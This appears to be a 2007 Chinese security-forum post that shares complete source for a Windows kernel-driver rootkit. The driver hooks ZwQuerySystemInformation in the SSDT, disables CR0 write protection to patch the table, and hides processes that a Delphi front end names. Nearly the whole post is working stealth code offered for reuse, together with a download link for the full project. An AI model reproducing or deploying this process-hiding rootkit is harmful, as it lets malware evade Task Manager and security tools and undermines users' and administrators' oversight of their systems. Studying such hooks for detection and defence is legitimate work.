标 题 :  【原创】对 Hook 内核ntoskrnl 'sZwQuerySystemInformation隐藏任务管理器进程名 的一点完善
作 者 :  sislcb
时 间
:  2007 - 12 - 20 , 17 : 17
链 接 :  http : //bbs.pediy.com/showthread.php?t=56830

通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进程已经是很老的技术了。
qiweixue 在他的文章里面写的很清楚了
:
http : //bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B

不过他的文章里面,进程名字是直接写死的,不能通过三层进行传递,而且得到ZwQuerySystemInformation是通过汇编的方法,这样在其他系统上可能会有问题,所以我做了一些改善如下:
1  通过应用程序将进程名字传递进来,可以传递多个进程名字,格式为:qq . exe ; taskmgr . exe ;
2  通用的方法来得到ZwQuerySystemInformation的地址,不过这个方法都是从rookit上得来的。
很简单的完善了。如果没有接触过驱动的同学估计有点帮助(其实很不好意思拿上来。。)

驱动代码如下:
代码
:
///////////////////////////IoControl.h/////////////////////////////


#ifndef  ___HIDE_PROCESS_IO_CONTROL___
#define    ___HIDE_PROCESS_IO_CONTROL___




#define     HIDE_PROCESS_WIN32_DEV_NAME    L "\\Device\\HideProcess"
#define     HIDE_PROCESS_DEV_NAME        L "\\DosDevices\\HideProcess"


#define     FILE_DEVICE_HIDE_PROCESS      0x00008811


#define     IO_REFERENCE_EVENT         ( ULONG )  CTL_CODE ( FILE_DEVICE_HIDE_PROCESS ,  0x801 ,  METHOD_NEITHER ,  FILE_ANY_ACCESS )
#define     IO_DEREFERENCE_EVENT       ( ULONG )  CTL_CODE ( FILE_DEVICE_HIDE_PROCESS ,  0x802 ,  METHOD_NEITHER ,  FILE_ANY_ACCESS )
#define     IO_PASSBUF               ( ULONG )  CTL_CODE ( FILE_DEVICE_HIDE_PROCESS ,  0x806 ,  METHOD_NEITHER ,  FILE_ANY_ACCESS )


/*
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define BYTE unsigned char
*/
/************************************************************************
*                                                                      *
*                             Struct Define                            *
*                                                                      *
************************************************************************/

typedef struct  _Event_Struct {
int  eventType ;
char  pname [ 255 ];
char  pid [ 255 ];
}
Event_Struct , * PEvent_Struct ;

typedef struct  _SECTION_IMAGE_INFORMATION  {
PVOID EntryPoint ;
ULONG StackZeroBits ;
ULONG StackReserved ;
ULONG StackCommit ;
ULONG ImageSubsystem ;
WORD SubsystemVersionLow ;
WORD SubsystemVersionHigh ;
ULONG Unknown1 ;
ULONG ImageCharacteristics ;
ULONG ImageMachineType ;
ULONG Unknown2 [ 3 ];
} 
SECTION_IMAGE_INFORMATION , * PSECTION_IMAGE_INFORMATION ;


/////////////////定义ntoskrnl.exe的服务表结构////////////////////////////////////////////////
typedef struct  ServiceDescriptorEntry  {
    
unsigned int  * ServiceTableBase ;           //指向系统服务程序的地址(SSDT)
    
unsigned int  * ServiceCounterTableBase ;    //指向另一个索引表,该表包含了每个服务表项被调用的次数;不过这个值只在Checkd Build的内核中有效,在Free Build的内核中,这个值总为NULL
    
unsigned int  NumberOfServices ;            //表示当前系统所支持的服务个数
    
unsigned char  * ParamTableBase ;            //指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元
}  ServiceDescriptorTableEntry  , * PServiceDescriptorTableEntry  ;

extern  PServiceDescriptorTableEntry KeServiceDescriptorTable ;

struct  _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime ;
LARGE_INTEGER UserTime ;
LARGE_INTEGER CreateTime ;
ULONG WaitTime ;
PVOID StartAddress ;
CLIENT_ID ClientIs ;
KPRIORITY Priority ;
KPRIORITY BasePriority ;
ULONG ContextSwitchCount ;
ULONG ThreadState ;
KWAIT_REASON WaitReason ;
};

struct  _SYSTEM_PROCESSES
{
ULONG NextEntryDelta ;                  //下一个进程信息的偏移量,如果为0表示无一个进程信息
ULONG ThreadCount ;                     //线程数
ULONG Reserved [ 6 ];
LARGE_INTEGER CreateTime ;              //创建进程的时间
LARGE_INTEGER UserTime ;                //进程中所有线程在用户模式运行时间的总和
LARGE_INTEGER KernelTime ;              //进程中所有线程在内核模式运行时间的总和
UNICODE_STRING ProcessName ;            //进程的名字
KPRIORITY BasePriority ;                //线程的缺省优先级
ULONG ProcessId ;                       //进程ID号
ULONG InheritedFromProcessId ;          //继承语柄的进程ID号
ULONG HandleCount ;                     //进程打开的语柄数量
ULONG Reserved2 [ 2 ];
VM_COUNTERS VmCounters ;                //虚拟内存的使用情况统计
IO_COUNTERS IoCounters ;                //IO操作的统计,Only For 2000
struct  _SYSTEM_THREADS Threads [ 1 ];     //描述进程中各线程的数组
};

#endif

//////////////////////HideProcess.c///////////////////////////////
#include  < ntddk . h >
#include  "ntiologc.h"
#include  "ntimage.h"
#include  < windef . h >
#include  < stdio . h >
#include  < string . h >
#include  "IoControl.h"


VOID UnloadDriver ( IN PDRIVER_OBJECT DriverObject );
NTSTATUS HideProcess_Create ( IN PDEVICE_OBJECT DeviceObject ,  IN PIRP Irp );
NTSTATUS HideProcess_Close ( IN PDEVICE_OBJECT DeviceObject ,  IN PIRP Irp );
NTSTATUS HideProcess_IoControl ( IN PDEVICE_OBJECT DeviceObject ,  IN PIRP Irp );

///////////////声明Native API///////////////////////////////////////
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
    
IN ULONG SystemInformationClass ,       //查询系统服务类型
    
IN PVOID SystemInformation ,            //接收系统信息缓冲区
    
IN ULONG SystemInformationLength ,      //接收信息缓冲区大小
    
OUT PULONG ReturnLength );              //实际接收到的大小


typedef  NTSTATUS  (* ZWQUERYSYSTEMINFORMATION )(
          
IN ULONG SystemInformationClass ,
          
IN PVOID SystemInformation ,
          
IN ULONG SystemInformationLength ,
          
OUT PULONG ReturnLength );



NTSTATUS MyZwQuerySystemInformation (
    
IN ULONG SystemInformationClass ,
    
IN PVOID SystemInformation ,
    
IN ULONG SystemInformationLength ,
    
OUT PULONG ReturnLength );



////////////////////定义所用到的全局变量///////////////
extern  PServiceDescriptorTableEntry KeServiceDescriptorTable ;
unsigned long  OldCr0 ;
UNICODE_STRING DeviceNameString ;
UNICODE_STRING LinkDeviceNameString ;
ZWQUERYSYSTEMINFORMATION    g_OriginalZwQuerySystemInformation ;
int  position ;
PVOID   gpEventObject  =  NULL ;                //事件句柄
CCHAR     outBuf [ 1024 ];                         //输入缓冲区大小


#define  SEC_IMAGE  0x01000000


DWORD GetDllFunctionAddress ( char *  lpFunctionName ,  PUNICODE_STRING pDllName )
{
HANDLE hThread ,  hSection ,  hFile ,  hMod ;
SECTION_IMAGE_INFORMATION sii ;
IMAGE_DOS_HEADER *  dosheader ;
IMAGE_OPTIONAL_HEADER *  opthdr ;
IMAGE_EXPORT_DIRECTORY *  pExportTable ;
DWORD *  arrayOfFunctionAddresses ;
DWORD *  arrayOfFunctionNames ;
WORD *  arrayOfFunctionOrdinals ;
DWORD functionOrdinal ;
DWORD Base ,  x ,  functionAddress ;
char *  functionName ;
STRING ntFunctionName ,  ntFunctionNameSearch ;
PVOID BaseAddress  =  NULL ;
SIZE_T size = 0 ;

OBJECT_ATTRIBUTES oa  = { sizeof  oa ,  0 ,  pDllName ,  OBJ_CASE_INSENSITIVE };
IO_STATUS_BLOCK iosb ;

//_asm int 3;
ZwOpenFile (& hFile ,  FILE_EXECUTE  |  SYNCHRONIZE , & oa , & iosb ,  FILE_SHARE_READ ,  FILE_SYNCHRONOUS_IO_NONALERT );

oa . ObjectName  =  0 ;

ZwCreateSection (& hSection ,  SECTION_ALL_ACCESS , & oa ,  0 , PAGE_EXECUTE ,  SEC_IMAGE ,  hFile );
  
ZwMapViewOfSection ( hSection ,  NtCurrentProcess (), & BaseAddress ,  0 ,  1000 ,  0 , & size , ( SECTION_INHERIT ) 1 ,  MEM_TOP_DOWN ,  PAGE_READWRITE );
  
ZwClose ( hFile );
  
hMod  =  BaseAddress ;
  
dosheader  = ( IMAGE_DOS_HEADER  *) hMod ;
  
opthdr  =( IMAGE_OPTIONAL_HEADER  *) (( BYTE *) hMod + dosheader -> e_lfanew + 24 );

pExportTable  =( IMAGE_EXPORT_DIRECTORY *)(( BYTE *)  hMod  +  opthdr -> DataDirectory [  IMAGE_DIRECTORY_ENTRY_EXPORT ].  VirtualAddress );

arrayOfFunctionAddresses  = ( DWORD *)( ( BYTE *) hMod  +  pExportTable -> AddressOfFunctions );

arrayOfFunctionNames  = ( DWORD *)( ( BYTE *) hMod  +  pExportTable -> AddressOfNames );

arrayOfFunctionOrdinals  = ( WORD *)( ( BYTE *) hMod  +  pExportTable -> AddressOfNameOrdinals );

Base  =  pExportTable -> Base ;

RtlInitString (& ntFunctionNameSearch ,  lpFunctionName );

for ( x  =  0 ;  x  <  pExportTable -> NumberOfFunctions ;  x ++)
{
    
functionName  = ( char *)( ( BYTE *) hMod  +  arrayOfFunctionNames [ x ]);

    
RtlInitString (& ntFunctionName ,  functionName );

    
functionOrdinal  =  arrayOfFunctionOrdinals [ x ] +  Base  -  1 ;
    
functionAddress  = ( DWORD )( ( BYTE *) hMod  +  arrayOfFunctionAddresses [ functionOrdinal ]);
    
if  ( RtlCompareString (& ntFunctionName , & ntFunctionNameSearch ,  TRUE ) ==  0 )
   {
     
ZwClose ( hSection );
     
return  functionAddress ;
   }
}

   
ZwClose ( hSection );
   
return  0 ;
}

NTSTATUS DriverEntry  ( IN PDRIVER_OBJECT DriverObject , IN PUNICODE_STRING RegistryPath )
{
NTSTATUS status ;
PDEVICE_OBJECT   deviceObject ;

UNICODE_STRING dllName ;
DWORD functionAddress ;

   
RtlInitUnicodeString ( & DeviceNameString ,     HIDE_PROCESS_WIN32_DEV_NAME  );
   
RtlInitUnicodeString ( & LinkDeviceNameString , HIDE_PROCESS_DEV_NAME  );

    
KdPrint (( "DriverEntry Enter............................\n" ));
   
   
status  =  IoCreateDevice (
                
DriverObject ,
                
0 ,                     
                &
DeviceNameString ,
                
FILE_DEVICE_DISK_FILE_SYSTEM ,
                
FILE_DEVICE_SECURE_OPEN ,
                
FALSE ,
                &&nbsp;
deviceObject  );

    
if  (! NT_SUCCESS (  status  ))
    {

        
KdPrint ((  "DriverEntry: Error creating control device object, status=%08x\n" ,  status  ));
        
return  status ;
    }

   
status  =  IoCreateSymbolicLink (
                (
PUNICODE_STRING ) & LinkDeviceNameString ,
                (
PUNICODE_STRING ) & DeviceNameString
                
);

   
if  (! NT_SUCCESS ( status ))
    {
        
IoDeleteDevice ( deviceObject );
        
return  status ;
    }

DriverObject -> MajorFunction [ IRP_MJ_CREATE ] =  HideProcess_Create ;
DriverObject -> MajorFunction [ IRP_MJ_CLOSE ] =  HideProcess_Close ;
DriverObject -> MajorFunction [ IRP_MJ_DEVICE_CONTROL ] =  HideProcess_IoControl ;

DriverObject -> DriverUnload = UnloadDriver ;


//////////////////////Hook ZwQuerySystemInformation/////////////////////////////////////////////////

RtlInitUnicodeString (& dllName ,  L "\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll" );
functionAddress  =  GetDllFunctionAddress ( "ZwQuerySystemInformation" , & dllName );
position  = *(( WORD *)( functionAddress + 1 ));

g_OriginalZwQuerySystemInformation  = ( ZWQUERYSYSTEMINFORMATION )( KeServiceDescriptorTable -> ServiceTableBase [ position ]);

_asm
{
CLI                     //dissable interrupt
MOV    EAX ,  CR0         //move CR0 register into EAX
AND EAX ,  NOT  10000H  //disable WP bit
MOV    CR0 ,  EAX         //write register back
}

(
ZWQUERYSYSTEMINFORMATION )( KeServiceDescriptorTable -> ServiceTableBase [ position ]) =  MyZwQuerySystemInformation ;

_asm
{
    
MOV    EAX ,  CR0         //move CR0 register into EAX
    
OR     EAX ,  10000H         //enable WP bit    
    
MOV    CR0 ,  EAX         //write register back       
    
STI                     //enable interrupt
}

KdPrint (( "Hook ZwQuerySystemInformation'status is Succeessfully " ));


return  status  ;
}

NTSTATUS HideProcess_Create ( IN PDEVICE_OBJECT DeviceObject ,  IN PIRP Irp )
{
DbgPrint ( "HideProcess_Create\n" );

Irp -> IoStatus . Status  =  STATUS_SUCCESS ;
Irp -> IoStatus . Information  =  0 ;
IoCompleteRequest ( Irp ,  IO_NO_INCREMENT );

return  Irp -> IoStatus . Status ;
}

NTSTATUS HideProcess_Close ( IN PDEVICE_OBJECT DeviceObject ,  IN PIRP Irp )
{
DbgPrint ( "HideProcess_Close\n" );

Irp -> IoStatus . Status  =  STATUS_SUCCESS ;
Irp -> IoStatus . Information  =  0 ;
IoCompleteRequest ( Irp ,  IO_NO_INCREMENT );

return  Irp -> IoStatus . Status ;
}


NTSTATUS HideProcess_IoControl ( IN PDEVICE_OBJECT DeviceObject ,  IN PIRP Irp )
{
NTSTATUS                    status  =  STATUS_SUCCESS ;
ULONG            controlCode ;
PIO_STACK_LOCATION      irpStack ;
HANDLE            hEvent ;
OBJECT_HANDLE_INFORMATION objHandleInfo ;
ULONG                       outputLength ,  inputLength ;
PVOID                       inputBuffer ;


irpStack  =  IoGetCurrentIrpStackLocation ( Irp );
outputLength  =  irpStack -> Parameters . DeviceIoControl . OutputBufferLength ;
inputLength = irpStack -> Parameters . DeviceIoControl . InputBufferLength ;
controlCode  =  irpStack -> Parameters . DeviceIoControl . IoControlCode ;

switch ( controlCode )
{
case  IO_REFERENCE_EVENT :             //获取事件的句柄
    
hEvent  = ( HANDLE )  irpStack -> Parameters . DeviceIoControl . Type3InputBuffer ;
    
status  =  ObReferenceObjectByHandle (
        
hEvent ,
        
GENERIC_ALL ,
        
NULL ,
        
KernelMode ,
        &
gpEventObject ,
        &
objHandleInfo );
    
if ( status  !=  STATUS_SUCCESS )
    {
      
DbgPrint ( "ObReferenceObjectByHandle failed! status = %x\n" ,  status );
      
break ;
    }
    
DbgPrint ( "IO_REFERENCE_EVENT\n" );
    
break ;
case  IO_PASSBUF :      //应用层传输数据到驱动
    
inputBuffer  = ( char *) irpStack -> Parameters . DeviceIoControl . Type3InputBuffer ;
        
RtlCopyMemory (& outBuf [ 0 ],  inputBuffer ,  inputLength );
    
DbgPrint ( "IO_PassBuf:%s:%d" ,  outBuf ,  strlen ( outBuf ));
    
break ;

case  IO_DEREFERENCE_EVENT :
    
if ( gpEventObject )
    {
      
ObDereferenceObject ( gpEventObject );
      
gpEventObject  =  NULL ;
    }
    
DbgPrint ( "IO_DEREFERENCE_EVENT\n" );
    
break ;
default :
    
break ;
}

Irp -> IoStatus . Status  =  STATUS_SUCCESS ;
Irp -> IoStatus . Information  =  0 ;
IoCompleteRequest ( Irp ,  IO_NO_INCREMENT );

return  status ;
}


VOID UnloadDriver ( IN PDRIVER_OBJECT DriverObject )
{
    
UNICODE_STRING uniWin32NameString ;
    
UNICODE_STRING LinkNameString ;
    
PDEVICE_OBJECT deviceObject ;

//////////////////////UnHook ZwQuerySystemInformation/////////////////////////////////////////////////

_asm
{
    
CLI                     //dissable interrupt
    
MOV    EAX ,  CR0         //move CR0 register into EAX
    
AND EAX ,  NOT  10000H     //disable WP bit
    
MOV    CR0 ,  EAX         //write register back
}

(
ZWQUERYSYSTEMINFORMATION )( KeServiceDescriptorTable -> ServiceTableBase [ position ]) =  g_OriginalZwQuerySystemInformation ;

_asm
{
    
MOV    EAX ,  CR0         //move CR0 register into EAX
    
OR     EAX ,  10000H      //enable WP bit    
    
MOV    CR0 ,  EAX         //write register back       
    
STI                     //enable interrupt
}

    
KdPrint (( "UnHookZwQuerySystemInformation'status is Succeessfully................... " ));
    
deviceObject =  DriverObject -> DeviceObject ;
    
IoDeleteSymbolicLink (& LinkDeviceNameString );
    
ASSERT (! deviceObject -> AttachedDevice );
    
if  (  deviceObject  !=  NULL  )
    {
        
IoDeleteDevice (  deviceObject  );
    }

}

NTSTATUS MyZwQuerySystemInformation (
    
IN ULONG SystemInformationClass ,
    
IN PVOID SystemInformation ,
    
IN ULONG SystemInformationLength ,
    
OUT PULONG ReturnLength )
{
NTSTATUS rc ;
STRING ntNameString ;
UNICODE_STRING process_name ;
char  * buf  , * haystack ;
char  cpOutBuf [ 1024 ];
char  * sep  =  ";" ;

strcpy ( cpOutBuf ,  outBuf );
haystack  = & cpOutBuf [ 0 ];

rc  = ( g_OriginalZwQuerySystemInformation ) (
    
SystemInformationClass ,
    
SystemInformation ,
    
SystemInformationLength ,
    
ReturnLength );

if ( NT_SUCCESS ( rc ))
{
    
if ( 5  ==  SystemInformationClass )
    {
      
struct  _SYSTEM_PROCESSES  * curr ;
      
struct  _SYSTEM_PROCESSES  * prev ;

      
buf  =  strstr ( haystack ,  sep );
      
while ( buf  !=  NULL )
      {
        
buf  [ 0 ] =  '\0' ;
        
DbgPrint ( "%s" ,  haystack );
        
RtlInitAnsiString (& ntNameString ,  haystack );
        
RtlAnsiStringToUnicodeString (& process_name , & ntNameString ,  TRUE );
               
        
haystack  =  buf  +  strlen ( sep );
        
buf  =  strstr ( haystack ,  sep );

        
curr  = ( struct  _SYSTEM_PROCESSES  *) SystemInformation ;
        
prev  =  NULL ;
        
if ( curr -> NextEntryDelta )(( char  *) curr  +=  curr -> NextEntryDelta );

        
while ( curr )
        {
          
if  ( RtlEqualUnicodeString (& process_name , & curr -> ProcessName ,  1 ))
          {
            
DbgPrint ( "hide process name taskmgr.exe" );

            
//找到要隐藏的进程
            
if ( prev )
            {
              
//要删除的信息在中间,则把指针指向下一个节点
              
if ( curr -> NextEntryDelta )
                
prev -> NextEntryDelta  +=  curr -> NextEntryDelta ;
              
else
                
prev -> NextEntryDelta  =  0 ;  //要删除的信息在末尾,则直接把指针指向0
            
}
            
else
            
{
              
if ( curr -> NextEntryDelta )
                (
char  *) SystemInformation  +=  curr -> NextEntryDelta ;  //要删除的信息在开头
              
else
                
SystemInformation  =  NULL ;
            }

            
//如果链下一个还有其他的进程信息,指针往后移
            
if ( curr -> NextEntryDelta )(( char  *) curr  +=  curr -> NextEntryDelta );
            
else
            
{
              
curr  =  NULL ;
              
break ;
            }
            }

          
if ( curr  !=  NULL )
          {
            
//把当前指针设置成前一个指针,当前指针后移
            
prev  =  curr ;
            
if ( curr -> NextEntryDelta )(( char  *) curr  +=  curr -> NextEntryDelta );
            
else  curr  =  NULL ;
          }
        }
                
RtlFreeUnicodeString (& process_name );
      }
    }
}

    
return  rc ;

}


三层的代码如下:
/////////////////////delphi code///////////////////////////

procedure TForm1 . btnHideClick ( Sender :  TObject );
var
dwReturn
:  DWORD ;
proname : array  [ 0..1023 ]  of  char ;
begin
//创建设备
try
    
m_hCommDevice  :=  CreateFile ( '\\.\HideProcess' ,  GENERIC_READ  or  GENERIC_WRITE ,  FILE_SHARE_READ ,  nil ,
                      
OPEN_EXISTING ,  FILE_ATTRIBUTE_NORMAL ,  0 );
except
    MessageBox
( Handle ,  '创建设备失败' ,  '隐藏进程启动' ,  MB_OK  +  MB_ICONWARNING );
end ;
//创建事件
try
    
m_hCommEvent  :=  CreateEvent ( nil ,  false ,  false ,  nil );
except
    CloseHandle
( m_hCommDevice );
    
MessageBox ( Handle ,  '创建事件失败' ,  '隐藏进程启动' ,  MB_OK  +  MB_ICONWARNING );
end ;

//发送事件句柄给驱动
DeviceIoControl ( m_hCommDevice ,  IO_REFERENCE_EVENT ,  pointer ( m_hCommEvent ),  0 ,  nil ,  0 ,  dwReturn ,  nil );

StrPCopy ( @proname ,  Trim ( edtProcessName . Text ));
DeviceIoControl ( m_hCommDevice ,  IO_PASSBUF ,  @proname ,  sizeof ( proname ),  nil ,  0 ,  dwReturn ,  nil );
end ;

整个工程下载:
http
: //bbs.pediy.com/attachment.php?attachmentid=10497&d=1198196319